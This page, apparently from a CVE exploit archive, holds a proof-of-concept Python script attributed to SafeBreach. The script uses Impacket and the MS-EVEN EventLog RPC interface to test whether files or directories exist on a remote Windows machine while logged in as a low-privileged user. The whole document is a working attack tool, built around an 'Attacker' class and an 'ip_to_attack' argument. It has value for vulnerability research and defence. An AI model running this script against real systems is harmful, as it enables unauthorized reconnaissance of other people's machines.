4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / check_if_exists.py PY
"""
@Author: Yarin A.
@Company: SafeBreach
@Description:   This script is using the CreateFile primitive given by MS-EVEN,
                in order to check the status of remote file using low-privileged user.
"""

import enum
import argparse

from impacket.dcerpc.v5 import even
from impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket.dcerpc.v5.even import DCERPCSessionError


class EventLogErrorCodes(enum.Enum):
    FILE_DOES_NOT_EXIST = 0xc0000034
    FILE_EXISTS_AND_IS_DIRECTORY = 0xc00000ba
    FILE_EXISTS = 0xc000018e


class Attacker:
    LOG_MSG_TEMPLATE = r'[+] - {message}'
    EVENT_LOG_NCACN = r'ncacn_np:{ip}[\pipe\eventlog]'
    RPC_C_AUTHN_LEVEL_PKT_INTEGRITY = 5

    def __init__(self, ip, username, password):

        self.connection = DCERPCTransportFactory(self.EVENT_LOG_NCACN.format(ip=ip))

        self.connection.set_credentials(username, password)
        self.connection.connect()

        self.dce = self.connection.get_dce_rpc()
        self.dce.set_auth_level(self.RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        self.dce.connect()

        self.dce.bind(even.MSRPC_UUID_EVEN)

    def create_rpc_unicode_string(self, regular_string):

        # There seems to be a bug in Impacket or in the EventLog service itsef.
        # For some resason we need to add another null-terminator to the unicode string.

        crafted_unicode_string = RPC_UNICODE_STRING()
        crafted_unicode_string['Data'] = regular_string
        crafted_unicode_string.fields['MaximumLength'] += 1
        return crafted_unicode_string

    def check_if_file_exists(self, filepath_to_check, is_windows_10=False):
        if is_windows_10:
            filepath_to_check = filepath_to_check.replace("C:\\", "\\")

        unicode_filepath_to_check = self.create_rpc_unicode_string(filepath_to_check.rstrip('\\'))

        try:
            even.hElfrOpenBELW(self.dce, unicode_filepath_to_check)
        except DCERPCSessionError as e:
            if e.error_code in [e.value for e in EventLogErrorCodes]:
                print(EventLogErrorCodes(e.get_error_code()).name)
            else:
                raise e

    def close_connection(self):
        self.dce.disconnect()

    def log(self, message):
        print(self.LOG_MSG_TEMPLATE.format(message=message))


def main():

    parser = argparse.ArgumentParser()

    parser.add_argument('ip_to_attack')
    parser.add_argument('username')
    parser.add_argument('password')
    parser.add_argument('filepath_to_check')
    
    parser.add_argument(
        "--is_windows_10",
        action="store_true",
        help="Enable verbose output"
    )


    args = parser.parse_args()

    attacker = Attacker(args.ip_to_attack,
                        username=args.username,
                        password=args.password)

    attacker.check_if_file_exists(args.filepath_to_check, is_windows_10=args.is_windows_10)

    attacker.close_connection()


if __name__ == '__main__':
    main()